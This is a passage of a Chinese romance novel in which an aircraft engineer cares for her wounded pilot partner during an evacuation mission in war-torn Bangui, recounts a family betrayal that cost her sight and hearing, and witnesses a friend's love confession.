大灰和阿虎没有接到蒋弋，直接顺着裂缝攀岩进去。
副队将隋英送回后，立即赶回接应地点，此时小强和迈克已经原路返回，比大灰他们先一步到达土坎位置，发现打斗过的痕迹，蒋弋和阿叶失去信号。
他们两个只能与大灰阿虎分两路，沿着痕迹搜寻，但不管是蒋弋阿叶，还是不明身份之人，都是反侦察高手，除了打斗的地方留下痕迹外，再无其他。
是以，他们四人只能分四路，地毯式搜索。
副队留在藏吉普车的位置，用无人机搜索，很快就被看守封锁网的人发现并击落，他只能换地方，持续不计成本使用无人机。
最后在一处几十米深的峡谷裂缝里找到奄奄一息的阿叶和受伤几乎无法动弹的蒋弋。
立即发送定位，其他人匆匆赶过来，但要将两个伤员安全通过封锁网不是简单的事。
副队命令他们留在外围吸引火力的人持续干扰，在暗网上发布了悬赏，分几路阻击，然后向贺先生求援，请求他给上面施加压力。
交火到一半，封锁网忽然停火，他们才得以安全撤离。
当然，这些副队不可能告诉隋英，只说他们还是原路返回，那条路看守不严。
隋英看向医疗帐篷，在余晖落尽的蓝调时，似摇曳的风灯。
“不知道他的伤什么时候能处理好。”
-
蒋弋忽然栽倒，倒是将苏韫吓一大跳，拆开裤腿，又急又气，直接命令搭建无菌手术室。
医用剪刀剪开身上的衣服时，像隋英膝盖上那样的伤在蒋弋身上算最不起眼的伤，都不用去管。
肋骨骨折，手臂、大腿被子弹打穿，身上多处擦上，这里的擦伤不是摔倒软组织擦伤，而是子弹擦过，砍伤，重物重击……
CA-8维修完成，向恒关了固定在一旁的摄影机，知道隋英伤的不轻，就让班吉懂飞行动力测试的工程师先测试飞机，不行再请隋英。
班吉那边已经第N次催促，撤侨任务刻不容缓，还有运送物资任务。
上级但凡有办法，也不会这么逼他。
向恒知道，他们才是最后的希望。
墨色幕布遮天蔽日，今夜没有月亮，幸好机场供电不成问题，他们露天拉了许多灯泡照明，可四周黑黢黢的，吞噬掉大半亮光。
苏韫终于做完手术，走下站台，趿着拖鞋，边走边摘防护服，准备出去透口气，然后就看到隋英坐在帐篷外，已经睡着了。
她回头看了一眼，示意将人抬到隋英的帐篷。
然后回去拿了瓶葡萄糖，一口气喝了半瓶，然后踢了踢隋英的椅子，隋英猛地惊醒，“韫韫？”
她楞了一秒，猛地站起来，膝盖上的伤扯动，疼的她倒吸一口凉气。
“蒋弋呢，手术做完了？”说着，一瘸一拐跳着去看医疗帐篷，却空无一人。
苏韫坐在她刚才坐的椅子上，将剩下的半瓶全喝完，“蒋弋，救护车拉走了，已经没气了，哎！。”
见隋英脸色肉眼可见的白了下去，身子似乎也晃了下，苏韫了解隋英的性格，大多数情况下都是隐忍克制，心思比较重，什么事都喜欢憋在心里的人。
她忙说道，“没有英子，骗你的，蒋弋在你帐篷，我……”
苏韫还没说完，隋英一阵风跑回帐篷，见蒋弋身上多处缠着绷带，舒了口气的同时泪水夺眶而出。
她吸了吸鼻子，又嘿嘿笑着，几下擦掉眼泪，过去拉着蒋弋的手，盯着他，怎么也看不够。
试了试鼻息，脸贴在他额头，似乎还有点低烧，抬头却看到他脸上湿了一片。
一夜好眠。
翌日清早，隋英睡醒，第一时间检查蒋弋，露在外面的脚和手臂明显消肿，脸色也没那么渗白。
她打湿毛巾，将他没有受伤的手脚擦了一遍，然后去擦脸。
“蒋弋？”
隋英凑近，见他嘴唇抖动，“你能听见我说话吗？”
蒋弋睁眼，勾起唇角，扯到伤，忍不住抽搐了下，隋英嗔怪，“你醒了，故意装睡。”
“他麻药过了，早就醒了，”苏韫探进帐篷，“咳咳，医生打针，家属外面等着。”
隋英放下毛巾，悻悻出去。
一小会苏韫出来，隋英没理她，就要进帐篷，被苏韫拉住，“英子，生气了？”
“你太过分了，这种事能乱说吗。”
苏韫嘿嘿一笑，“我就吓唬吓唬你，你还真生气了，胆子还是这么小，真不知道你究竟是如何从疫区跑出来的。”
说到这个，隋英有一肚子话要跟苏韫说，“你忙不忙？”
“我给其他几换完药，就没事了，这里人少，那个女孩送救助中心了。”
“你说蓝莓，她能救吗？”
苏韫抿唇沉思，“不好说，我是外科医生，跟你们一起来的赵院长是这方面的专家，他也在救助中心。”
隋英了然。
CA-8测试通过，他们已经耽搁好几天，今天无论如何都得想办法回去。
莉萨拉机场只有蒋弋一个飞行员，班吉有飞行员，但……
且不说通往这里的路上充满太多危险，便是莉萨拉机场，没有导航，没有塔台，没有指引，纯粹盲开，没人愿意来。
这时众人再次将目光投向隋英。
“我不行。”隋英直接拒绝。
这倒是出乎大家的预料。
她能临危不惧，靠个人能力挽救CA-8，救了所有人的性命，保护了重要设备，明明会开飞机，干嘛要拒绝。
胆小？
不是。
谦虚？
呵~
一个敢徒手拆FRC，将最精密的仪器大卸八块，运到荒郊野外修飞机的人，能有多谦虚。
那就是伤的很重。
向恒也陷入为难，继续去与班吉的飞行员沟通。
当然，他也不可能以副总的身份勉强，毕竟每一个飞行员都十分
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珍贵，要是折一个，他交代不过去。
让飞行员穿越危险地带，去废弃机场盲开一架飞机，就是汇报给高层，也不会得到任何人的支持。
“爸……妈……嗯……没……嗯……”
隋英拒绝驾驶飞机后，回到帐篷，就看到蒋弋一只耳边放着一只手机，没有开外扩，她都能听到是蒋君沅和贺明霁的声音。
“我没事，我要休息了，先挂了。”
蒋弋示意隋英挂电话，隋英摇头，他一副委屈巴巴的模样，隋英心血都热了，立刻毫无原则地挂断电话。
看着界面上刷不到底的未接来电，隋英放下手机。
“你爸妈都知道这里的事了？”
蒋弋“嗯”了声，示意要喝水，隋英忙将吸管送到他嘴边，自己拉了椅子坐下，蒋弋一只没受伤的胳膊揽着她，“止疼药。”
“很疼吗？”
苏韫留下止疼药，说是疼的时候吃一片。
隋英想，那么重的伤都忍了下来，怎么做完手术，反而疼的受不了了，心里更加忧虑。
蒋弋就爱看她心疼的模样，“嗯嗯…还是吃一片吧，不然怎么有力气看你。”
已经喂到嘴边的手一顿，隋英嗔道，“都什么时候了，还闹，药能随便乱吃？”正要收回去，蒋弋稍稍抬头，咬着她手指，舌尖舔舐，药片顺势掉落，她整只手酸软颤栗，齿缝里溢出轻哼声~
蒋弋盯着她快要熟透的半张脸，竟没尝出药味。
“咳！咳！咳！”
帐篷外传来三声，很大声的，很刻意的，很假的，带着嘲笑和看好戏的咳嗽。
隋英倏地抽回手，吓得攥紧，手足无措，气的骂道：“苏韫，你发什么病。”
“门都不关啊，”苏韫阴阳怪气，“久别胜新婚，啧啧。”
蒋弋气的翻白眼，冲隋英眨眼：让她走。
隋英眸光游移，假装没看懂。
谁知苏韫眼尖，学着蒋弋的动作，“他，这…是什么意思？”
“飞机。”隋英肯定道。
“……”
副队知道隋英在疫区的经历，但他们根本没时间告诉蒋弋，是以，隋英将这两天的经历细无巨细告诉了蒋弋和苏韫。
说完，帐篷里先是一阵沉默。
蒋弋敛眸，一丝不易察觉的狠厉一闪而过。
苏韫先是骂司机，听了副队分析，可能还有人追杀她后，左右看了看，压低声音，悄声问他们俩，“说实话，你们这架飞机上到底装了什么？把杀手都引来了。”
还以为她要说什么，真给气笑了。
就连蒋弋也被苏韫这副神秘兮兮的样子给唬住。
闻言，又给隋英眨眼：让！她！走！走！走！
“他他他什么意思？”苏韫惊恐万分，“我猜对了？”
隋英推了她一把，“别闹了，都什么时候了，你还胡说八道。”她了解苏韫，刚才这副表情分明就是装的，故意胡闹。
苏韫耸耸肩，“开个玩笑嘛，这么荒蛮的地方，你们一个两个伤号，又没人开飞机，我们暂时回不去，就不能苦中作乐一下。”
这时向恒来告诉他们，分公司没有飞行员过来。
贺先生派了飞行员，从东南亚飞班吉，再来莉萨拉，最快明晚到达。
但现在有一个问题，他们申请的区域飞行权限只保留到今晚。
说完，又看向隋英，希望她能改变主意，隋英垂眸，却听见蒋弋开口：“我来开，苏韫，帮我打止疼针。”
93. Chap.93
“大风起兮云飞扬！咳咳……”
莉萨拉废弃机场扬尘万里，沙土直上云霄，淹没众人视线，一个个捂着口鼻跑开到一旁咳嗽。
等沙土尘烟散去，CA-8早已消失在云端。
向恒示意，所有人沉默地上车，从陆路回班吉。
飞机上只有蒋弋和隋英，以及昏迷不宜颠簸的阿叶。
隋英充当他受伤的那只手，及副驾、导航等。飞机她亲自维修的，没有问题，但其他人明显对这种起飞条件不信任。
将蒋弋抬上飞机，大家你看我，我看你，蒋弋直接让向恒带着所有人开车回班吉。
隋英坚持留下。
莉萨拉机场跑道太松软，飞机几乎是旱地拔葱直接飞起。
她按照蒋弋要求，操作起飞前流程，有些熟悉，有些陌生。
隋英大一换专业后，有太多不甘心，自己摸索飞行知识，后来有位飞行学院的教官实在看不下去，就允许她偶尔进模拟舱，得空还会给她讲一些突发状况的应对方案。
这也是她为什么能在机长昏迷，飞机着火时，敢开着飞机迫降的原因。
这个方案，她模拟过。
也是她拒绝开CA-8的理由，因为她根本没有受过完整的训练。
起飞前的流程，她不熟。
飞机一路平顺，安稳降落在班吉机场，早已等候在机场的同事立刻组织搬设备，准备维修飞机。
蒋弋被蒋君沅派来的医疗团队接走。
班吉也不是很安全，蒋君沅命人直接带蒋弋坐专机转回东南亚，再回苏黎世，但被蒋弋强烈拒绝。
医疗团队只能留在南航驻班吉分公司的华人医院。
隋英亲自组装好FRC后，就回医院照顾蒋弋。
“他的伤怎么样？”
医生温和一笑，“放心，手术很成功，除了肋骨，其他地方没有伤筋动骨，修养一段时间就好了。”
又道：“你也要劝他尽快跟我们走，这里的条件你也看到了。”
隋英垂眸。
维修任务大概需要一周，修好一架飞机就得立即投入撤侨任务，或者征调运送救援物资，她是带队工程师，大概率是要坚持到最后。
她不走，蒋弋不会走。
“蒋弋用的药都有吗？”她最担心缺药。
医生点头，“医疗设备和所需药物放心，我们准备齐全，但这里动乱，环境也不好，不适合养伤。”
隋英点头，回了病房。
却听见蒋弋与副队、阿虎三人的对话。
蒋弋躺在病床上，声音透着彻骨的寒意，“人在哪？”
“我们根据手机定位追到边境线，已经打烂了，他随身的物品都带来，做了检查，这是手机，检查过了。”阿虎将手机放床头。
副队继续：“名下没有大额财产，其他的没查到。”
“继续查。”
副队点头，“我还要替贺先生转述一句，尽快带人离开这里，班吉不安全。”
隋英敲门，“我刚过去看过阿叶，他已经醒了。”
副队笑着点头，“我们正好说完了。”
说着，与阿虎离开。
蒋弋凝了眼隋英，“别管他们说的。”
“我觉得他们说的对，你还是尽快回去，我最多一周就回。”
蒋弋沉默了，他上次也说一周就回，结果在这里连轴转，隋英也被派出。
却接连出事。
此时，他根本不敢离开隋英半步。
只要蒋弋在，想要动手的人自然会有所顾忌。
“这是我手机？”隋英拿起床头放置的手机，立刻明白他们刚才在说那个司机，那“打烂了”是什么意思？
突然一阵反胃，隋英起身，强忍下去才回头。
蒋弋一瞬不瞬盯着她，“过来。”
隋英走过去，坐在他声旁，俯身拥着他，听着他的心跳，“那个司机是谁？为什么要害我？”
“还在查，但我一个都不会放过，”蒋弋轻轻摩挲着她后背，像是安抚，“你不要再离开我，别单独出去，工作上我会让吴晓烁跟着你。”
隋英缓缓合眼，没有注意到蒋弋眼底的冷戾。
维修任务紧张有序的进行，第一架飞机恢复飞行，冯世杰就吵嚷着要送孙机回国治疗，但座位有限，肯定是优先送妇女儿童，他便要求以副驾身份登机。
“你不照顾孙机了？”魏子默现在讥讽冯世杰可谓是底气十足。
冯世杰气急，吴晓烁适时补刀，“我们现在就送孙机上飞机，至于你嘛，还是让你叔叔来接人吧。”
没想到被吴晓烁说中，冯总竟真的搭乘运送补给的飞机，辗转到班吉。
这个时候，国内几乎没人飞班吉，他对他这个侄儿真的是真心实意。
冯总职级比向恒高，所以在班吉分公司，按照职级他最高，这下冯世杰神气起来，可冯总却呵令他老老实实待在房间，自己则是去医院见蒋弋。
隋英检测完一班飞机，回医院，就看到冯总在楼道里走来走去，拿着手机不停敲着手掌，似乎很焦躁。
看到她像是看到救命稻草一样奔过来，“隋英，太好了，你没事吧，伤的重不重，哎！我真的不应该同意你的申请，公司那么多男同事，你说我怎么就同意你来这里。”
隋英脑海里还在归类今天拆解飞机的收获，冯总说话语速又快，干巴巴说了句，“我申请的时候说了理由。”
冯总一噎，继而说道：“你工作能力是真没话说，临危不乱，保住了CA-8，加上世杰，17条生命都是你救的，世杰是真不懂事，我替他向你赔罪。”
“换作我被人拿枪指着脑袋，我可能也会说实话。”
冯总脸色再次一僵，讪笑着附和。
他想糊弄过去，隋英直接点出冯世杰出卖她一事，至于在飞机上糟糕的表现，有飞行记录，责任也不在副驾，用不着隋英去说。
“哎！”冯总重重叹气，“世杰刚出社会，没经历过事，一身坏毛病，我回头一定好好管教。”
隋英最不擅长应付这种事，闻言也只是抿了下唇。
“我跟世杰说了很多遍，要一步一个脚印，踏踏实实工作，可他就是不听，太爱表现自己，才导致顾理事错估了世杰的能力，临时让他和孙机一起出行CA-8任务。”
顾柔嘉？
隋英很想问难道不是冯总你给冯世杰走的后门？
不过她不是多话之人，依旧没开口。
冯总见隋英一直不接话，只能硬着头皮说道：“呃…你看，能不能让我见见蒋机，就说几句话。”
按照职级，冯总是蒋弋的上司，按理说用不着这么卑躬屈膝。
可蒋弋与其他人不一样，就单说他在南航股东的身份，就不是冯总能比的。
隋英偏头，这才注意到蒋弋病房门口站着两个彪形大汉，不像国内穿西装戴耳机的保镖，而是荷|枪|实
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|弹，全副武装。
中午离开时还没有，这些人是谁？
这时病房里走出一位中年男人，隋英觉得眼熟，走近才认出，是在南渝贺家庄园见过的钱叔。
“隋英，蒋弋该吃药了，我不太清楚。”钱叔朝着冯总微微点头示意，并没有理会冯总的试图搭话。
她立刻明白，这是贺家的安排。
“好的钱叔。”
隋英从善如流，回到病房，却见蒋弋还昏睡着，与钱叔相视一笑。
“二爷和他父亲都不放心你们两个在这，”钱叔主动解释，“我就负责你俩安全，不会影响你们。”
隋英整理完工作日志，和蒋弋吃过晚餐。
她接到苏韫电话，刚出门，冯总又闯过来，还没来得及说句话，就被其中一个彪形大汉拎起，像扔垃圾一样，从楼梯上扔下去。
他还没走？
隋英回头，蒋弋像没事人一样，“迈克和小强在楼下，他们负责你的安全。”
“冯总他…”又顿住，总感觉哪里不对，又想不出所以然，“那我去看蓝莓了。”
“半个小时。”
隋英急转弯折返，“我和韫韫要带蓝莓买衣服玩具、吃饭，半个小时哪够。”
蒋弋拿起手机看了一眼，“你就在公司周边，用不了那么多时间。”
隋英伸出一个手指，眨眨眼：一个小时好不好？
蒋弋挑眉：休想。
隋英勾着手指：好不好嘛~
蒋弋摸摸小手：行吧。
见他好说话，隋英得寸进尺，伸出两个手指头：两个小时好不好？
蒋弋握着她手腕一带，指腹到唇边，微凉，软糯，眸光凉薄：别去了。
隋英立刻缴械投降，“韫韫在等我，你知道她最没耐心等人了。”
像是为了验证她的话，苏韫电话适时打来，刚接通，苏韫暴躁的声音传来，“英子，你什么时候下个楼也这么墨迹，有家属了不起啊。”
“这就来。”
隋英拽了下手，第一下没挣脱，她想了下，俯身在他脸颊上亲亲，在他愣神之际，抽身就跑。
蓝莓的病比较轻，很快得到控制。
她小小身躯穿着防护服，只露出一双眼睛，见到隋英时两眼放光，叽叽呱呱说不停，身边护士翻译，大意是问她这几天在哪里，什么时候回去接奶奶妈妈姐姐，她这几天干嘛干嘛。
苏韫解释，“赵院长说幸亏这个小孩送来的及时，这种病一旦病发，按照目前的医疗水平，根本没有办法。”
“就是我之前说的，那里的人都是没救的？”
苏韫是外科医生，她看向护士，护士点头，“你能救下蓝莓已经很好，赵院长申请进疫区被驳回，救助中心每天都有虫血病人，发病之前10%治愈率，发病之后，100%死亡率。”
隋英不懂医疗，不好给意见，更不会无脑说“我一定要救所有人”之类的口号。
几人带着蓝莓买了衣服玩具。
从建筑布景看，班吉像国内四五线城市，但因为战争，现在荒废的像个老龄化严重的城镇。
蓝莓很高兴，热情分享，还说要将这条披肩围巾给奶奶，奶奶的围巾破了很久。
护士一直在翻译，“…等等，她说她奶奶一个人在家。？”
隋英赶紧确认，奶奶没有跟她们一起被送去疫区，得到肯定的答复，蓝莓家就在班吉。
“送她回去见她奶奶？”
94. Chap.94
根据蓝莓指引，小强导航，她家距离班吉市区大约半个小时。
大家一番争论，最终还是隋英、苏韫和救助中心的护士坚持，迈克和小强只能小心戒备。
虫血病肆虐，往往是一人感染，全家无一幸免。据蓝莓所说，她的奶奶和他们住一起，却没有被送去疫区，那就是确定没有感染，这让学医的苏韫和护士敏锐地捕到了一丝不寻常。
隋英却只是看着蓝莓买礼物的时候记挂着奶奶，就这一点触动了她。
很多已经淡了的记忆忽然涌入脑海。
很小的时候，父母带她赴宴，吃到一种很软糯的食物，奶奶牙口不好，她偷偷往口袋里装了些，想带回去给奶奶吃。
为此挨了周蕊林训斥，她也没在意。
她也是很多次，像蓝莓一样，看到什么好东西，都会先记得给奶奶。
令所有人意外的是，他们刚到蓝莓奶奶家，蓝莓与奶奶才说了两句，她奶奶就往外推她，然后直接关上草席破帘门。
蓝莓哭着让奶奶开门，其他人面面相觑。
护士翻译，蓝莓刚介绍了一句隋英，说是她将她带出来，给她看病，老太太就开始撵人。
小强在不远处戒备，闻言回头，“越老越怕死。”
大家给老人留了吃的和用的，护士带蓝莓回救助中心，隋英他们回医院。
无功而返，苏韫很不高兴，“毕竟是自己的孙女，怎么能这么自私。”
“她是为蓝莓着想，”隋英有种看透世态的淡漠，“她可能也怕死，但肯定也为孙女打算过。”
“你说那个老太太？”
隋英垂眸，掩去眼底的苍凉，“我说奶奶。”
“……”苏韫一顿，“你说你奶奶？她当年…都过去了，别想了。”
隋英轻轻拭去滑落的泪花，笑着看向苏韫，那是一种真正释怀的笑，“我奶奶，肯定也是爱过我的。”
回到医院，天已经黑透，蒋弋的脸色比天色更暗。
隋英心有愧疚，小心观察着他的脸色，关好门，拉好窗帘，这才凑上前，盯着他长出的胡茬，“我帮你刮胡子吧。”
蒋弋：“……”
一个回合都不用，他就败下阵。
蒋弋挑眉，薄唇抿成一条之间，压着眉骨盯着她，一看就不好惹。
这要是其他人，肯定不敢多看。
隋英打湿毛巾，敷在他下半张脸上，遮住傲娇，只余冷冽的目光，她也丝毫不怵，淡定地拿出剃须刀。
“蒋弋，你已经知道我是如何受的伤，你还想听吗？”
她知道这件事一直耿在他心里，他也一点点知道了真相，却一句也没有追问。
“不想说就不说。”蒋弋拿掉毛巾，敛着黑眸，不知道在想什么。
隋英摸着他胡茬，将镜子递给他，然后拿着剃须刀，模仿他平时的样子，打圈，左右来回。
“现在我想说了。”
蒋弋忽然握住她手腕，将她带入怀中，轻轻“嗯”了声，“我在听。”
事情要从奶奶的病说起。
隋淑慧为了拆迁款，将奶奶接到冀北看病，随后隋万鑫出车祸过世，奶奶病情加重，隋英高考后，整个暑假都在医院照顾。
大一开学后，奶奶住在隋淑慧家，隔几天就入院，一住至少半个月，出院没几天又入院，那一学期，她学校医院两头跑。
反复几次后，奶奶病情恶化，医院给出手术方案，成功率自然很低。
隋淑慧和周蕊林互相推诿，一个说“那是你亲妈，只有你能做主”，一个说“隋家的事都是我哥做主，我哥不在了，自然是嫂子做主”云云之类。
奶奶是隋英最亲的人，她两头恳求说好话，她真的不想奶奶就这么走了。
在大学校园里没有找到蒋弋，她真的万念俱灰，不能再失去奶奶，她一遍又一遍将医生的手术方案说给姑姑和妈妈听，希望他们出钱。
彼时，她并不知道拆迁补偿款已经打到了奶奶名下。
直到姑姑突然到医院，说着关心奶奶的话，说着手术方案的利弊，隋英万分惊喜，以为她终于同意了，她就等着给奶奶做手术。
几天后，周蕊林到医院，哭着质问奶奶，凭什么将拆迁补偿款都给隋淑慧，隋万鑫死了，他们孤儿寡母怎么活。
隋英震惊之余，更是愤怒。
她疯了一样冲到隋淑慧家，也不知道是不是冥冥之中注定，那天隋淑慧恰好将奶奶存折上十几万全部取出。
隋英和隋淑慧大吵一架。
她笨嘴拙舌，只会哭，只会反复说“奶奶的病能好，你怎么任性，怎么这么残忍，那是奶奶的救命钱”。
隋淑慧骂人不重样，最后直接说，“你是你奶奶养大的，你要是个记恩情的，就去卖，给你奶奶治病”……
隋英目瞪口呆，面红耳赤，哪里还会反驳。
这时孟枕月突然说“你奶奶害死你爸，早就想死了，反正也治不好，干脆让她去死，省的拖累我们。”
隋英丧失理智，一把推倒孟枕月，从隋淑慧手里抢走十几万现金就跑。
她不知道哪里来的能量，一口气冲下楼，打车到医院，直接将钱打到医院账上，然后回病房。
这时隋淑慧和孟枕月追来。
不管三七二十一，当着周蕊林的面就打隋英，嘴里喊着，“敢抢我钱，枕月，快报警！”
话音未落，她扯着隋英头发，额角磕在窗台花岗岩角，当场肿成大包，最吓人的是左眼流出的是血。
隋英只觉得从耳朵插了一根钢管，到眼睛破体而出，半边脑袋像是被刀削掉，疼到几欲晕厥。
警察来了，隋淑慧说隋英抢钱，隋英说那是奶奶老房子的拆迁款，要交钱做手术，被隋淑慧拿走了。
像这种家务事，当事人不坚持，调解步骤都可以省略。
隋淑慧到底要面子，不会承认自己拿走母亲的救命钱，隋英几乎晕厥，头晕眼花，没有一点精力争执。
她想着，只要奶奶能做手术就行。
奶奶躺在病床上，醒一阵，晕一阵，醒来就絮絮叨叨说“不做手术”。
隋淑慧见钱已经打了水漂，不可能再要回，只说了句“我一定会上诉，这钱必须还”，就离开医院。
闹了一天，周蕊林始终像个隐形人，听到这话，也离开了医院。
隋英已经放寒假，就留在医院，头疼了整整一晚上。
她真的很胆小，很笨，不知道去做检查，可能也是怕花钱，因为没人给她钱，没人管她。
只能独自默默承受。
一直到第二天上午，疼痛才稍微减轻。
她才看到额头以至半张脸肿胀变形，眼眶里全是淤血，稍
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微一动，就疼的流血泪，耳鸣到只能听见铁器声。
查房的护士见状，让她去做检查，隋英想去，病房里又离不开人，她也没钱交检查费。
奶奶的手术方案已经确定，交了费用后，很快确定时间。
医院打电话给隋淑慧周蕊林过来签字，手术后，她们俩三五天来一次，基本都错开，期间，奶奶好转了几天。
隋英却越来越严重。
她的脸慢慢消肿，额头上的伤也不要紧，只是耳朵完全听不见，有好几次奶奶叫她，她也听不见。
眼睛充血也好转，但遮住右眼，完全失明。
隋英这才害怕，隋淑慧看到隋英也不再辱骂，而是偷偷观察，苏韫坚持让隋英报警，她请了律师，隋英拿走的钱本身就属于奶奶，而且是救命钱，不管是道德还是法律层面，隋淑慧都站不住脚。
但是她将隋英打成残废，一定会判刑，至少要一笔赔偿。
隋英同意了，她也恨透了隋淑慧。
就在这时，奶奶病情再次恶化，弥留之际，她拉着隋英，让她答应，不要告你姑姑，不要告你姑姑，不要告你姑姑……
那一刻，隋英彻底呆住，她深深觉得遭受了背叛，内心又茫然无助，难以置信。
很多很多个日夜，她回忆着从小到大的点滴，奶奶那么疼她，为什么？始终想不明白。
最后，她答应了奶奶，心也那一刻，如同那一场冬雪，冷透了。
之后送奶奶回家乡与爷爷合葬，隋淑慧骂她害奶奶白挨刀子，她无动于衷，没有生气、伤心……像是幽魂。
那天除夕凌晨，她摸索着坐上回冀北的车，错过了蒋弋为找她的烟花。
等回到冀北，苏韫带着一具没有灵魂的躯壳做了检查，医生告知，脑震荡、骨裂等，已经错过了最佳治疗时间。
隋英厌弃自己，觉得活该，瞎了更好，聋了更好。
她也为自己当年的胆小懦弱和愚蠢付出惨重代价，头疼了七年，险些送命。
这七年，心里最过不去的是奶奶临终前没有选她。
隋英平静的复述，她以为会流泪，会恨的咬牙切齿，会发抖，就像之前无数次想起，就恨的咬牙切齿，夜不能寐一样。
可她没有。
依偎在蒋弋怀里，闻着她身上独有的木樨香，她没那么恨了，突然也不怨奶奶了。
也许在最后，她选择偏袒隋淑慧，可也将隋英推离了隋淑慧这个烂泥塘。
试想，她如果和隋淑慧打官司，她眼瞎耳聋，没钱没势，身边除了苏韫，连个照顾的人都没有，怎么斗得过隋淑慧。
她连请律师的钱都没有。
“后来韫韫陪着我去了好几家医院，都说我耳膜和眼睛恢复不了了，我不能训练了，就申请换专业。”
隋英抬头，表情有点小得意，“你不知道吗，因为我太优秀，当时好几个专业的教授抢我呢。”
蒋弋捏捏她后腰，“那是因为我不在。”
“幸好那时有韫韫在我身边。”隋英白了他一眼，重新躺下，蒋弋没穿上衣，她一下一下蹭着他紧致有力的肩膀，没一会就睡着了。
“以后，你有我了。”
昏暗的病房里，蒋弋搂着熟睡的女孩，眼底透着森森寒意，本来已经叫人停手，现在看来还是太仁慈。
一个也别想跑。
95. Chap.95
隋英做完飞行测试，填好表单。
这是最后一班撤侨，明天就是他们工作人员，冯世杰终于登机，这一班从东南亚转机。
她做完工作，夕阳余晖正好，迈克和小强送到病房门口才离开。
“丁总？你怎么在这？”隋英很惊讶在这里见到丁文泽。
“我捐助一批医疗设备。”
“那也用不着你亲自送来，”隋英打趣，见丁文泽面露赧然，忙改口，“我开玩笑的。韫韫说的捐助医疗设备的社会爱心人士就是你呀。”
丁文泽难得慌张，“是，哦不是，呃……”胡乱说了声“再见”，落荒而逃。
隋英一时没反应过来，这还是她认识的淡定从容的丁文泽吗？
“我说错什么了吗？”
眸光一掠，蒋弋眸色深沉，盯着丁文泽离开的方向，一脸挑衅？怀疑看错了。
“蒋弋？你们吵架了？”
蒋弋晒笑，“我还真是看走眼了。”
隋英脱掉外套，闻言回头看着他，“真吵架了？”
“没有，”蒋弋嘴角噙着一抹坏笑，掀开被子，“我要上厕所。”
隋英将轮椅推到床边，将他扶下床，将轮椅推到洗手间，然后关门，听到里面说“好了老婆”，她再进去。
钱叔送来饭菜，“今天恢复的不错，隋英膝盖好点了吗？”
“我是擦伤，早就好了钱叔，你每天都啰嗦。”隋英很奇怪，她竟对着钱叔撒娇，就像年少时不耐烦爷爷奶奶的唠叨。
不过现在她没有不耐烦，因为已经很多年没听过琐碎的唠叨了。
钱叔每次不厌其烦，“你是女孩子，腿上留疤，怎么穿裙子。”
蒋弋哼哼，隋英嗔他一眼，刚要扶着他上床，蒋弋拦住，“帮我拿一下衣服，我带你去看好戏。”
“什么？”
蒋弋摸摸小手，冲她挑眉，钱叔笑而不语，将饭菜摆好，悄无声息地离开。
“坐我腿上。”
“不。”
蒋弋想让她坐腿上，可他的腿受伤做完手术才一周，隋英双手撑着轮椅背，整个腰被压着，双腿绷直，导致身体呈90度。
“你松手。”
蒋弋盯着她领口，“帮我穿衣服。”
“那你先松开我呀，”隋英整个人都软下去，就是挣脱不了，“我给你穿衣服。”
他眸色幽深，喉结下意识滑动，越凑越近，耳朵忽然吃痛，猛地松手。
隋英捂着领口后退几步，调整着衣领，“流氓。”
刚走两步，蒋弋稍稍挪动轮椅，握住她手腕，往怀里一带。
她猝不及防，下意识抓住扶手，生怕坐到他受伤的腿上，另一只手搭在他肩上。
他没穿上衣，胸口是固定肋骨的绷带，肌理清晰紧致的肩膀双臂，一看就是常年健身。
“我是你老公，”蒋弋直勾勾盯着她，双眸泛着桃花，明晃晃的挑|逗，语气浪荡又暧昧，“不是流氓。”
后腰被搂着，他的另一只手轻捏着她的腿。
隋英像是中了迷药，思维迟缓，动作僵硬，半天憋了句：“…哦。”
“我还没听过你叫老公。”他继续引导。
她轻轻“啊”了声，蒋弋滚烫的唇落下，铺天盖地揶取呼吸。
隋英残存的意识唯一记得不能压到他受伤的腿，只能死死抓着扶手，一只脚撑地，将身体撑起，这很像自己主动贴上去吻他。
这个动作很耗体力，一小会，她身体发抖，重心不稳。蒋弋手臂稍稍用力，托住她的腰，散漫细碎的笑散开，“专心点。”
“不是，”隋英最后把心一横，用力咬住他的唇，倏地放开，“不是要看好戏吗？”
蒋弋松开，捂着唇，不满地嘟哝，“属豺狼的，你看，破了。”说着，掌心沾了点唇上的血点让她看。
隋英已经躲远，胸口起伏，气息不稳，思绪混沌。
“活该。”
“老婆？”蒋弋划着轮椅，已至身后。
“干，干什么？”隋英拉着衣服，这家伙一点也不老实。
蒋弋靠在椅背上，抬头笑着，隋英跟着笑了，然后就感觉手腕痒痒的，“老婆，我穿衣服，再晚就没好戏可看了。”
哦，对！
隋英大囧，故意转身，拿了件宽大衬衫，蒋弋撑着手臂，等着人伺候。
行吧，隋英给他穿衣服，每一根手指都不老实，窸窸窣窣又闹了一阵，才勉强穿好衣服，才推着他出门。
医院只有三层，没有楼梯。
两个大汉一边一个，轻松抬着轮椅下楼梯，蒋弋像个大爷，隋英觉得自己是皇帝身边的公公，俩保镖是侍卫，浩浩荡荡的到医疗物资仓库。
她已经听见苏韫的声音，刚要开口，蒋弋倏地握住她手腕，指尖轻摁着她的唇，“嘘，别出声。”
隋英眨眼，见他眼里满是戏谑笑意，故意推开。
好在旁边这两个人均两米的壮汉像两尊雕像，她才感觉稍微好点，又忍不住嗔了他一眼：韫韫在里面。
蒋弋点头：仔细听。
“韫韫，你知道我对你的心思，我希望你不要因为过去，就回避感情。”
隋英长大嘴巴，又急忙捂嘴，眨眼：丁文泽？
蒋弋嘴角牵起：我都看走眼了。
接着是苏韫急躁的声音，“文泽，我都说了，我以后都不会再谈恋爱，也不会结婚，你别在我身上白费心思。”
“我说我要过来，你很着急，你知道这里危险，你怕我出事，可我又何尝不担心你，你在这里，我怎么可能不来。”
这么热烈的告白真的是稳重内敛的丁文泽说的吗？
“你别说了，我很乱，”苏韫声音细弱了很多，带着哭腔，“文泽，你知道我的事，我真的很乱，我很怕……”
“别怕，有我在……”
声音越来越小。
蒋弋推着轮椅，隋英抓着，使劲摇头，蒋弋握着她手腕一带，整个人仰倒在轮椅上，她吓得跳起来，蒋弋已经将转到门口，拍着手。
隋英一个箭步冲过去，想拖走蒋弋，却看到丁文泽和苏韫猝然分开！。
四张脸，八只眼睛。
隋英大是尴尬，很是僵硬地移开视线。
丁文泽将苏韫护在身后，“蒋弋，你个，”指着蒋弋的手握成拳头，气的后槽牙都咬碎了。
忽然凑上去，盯着蒋弋嘴唇上的伤，“战况够激烈。”
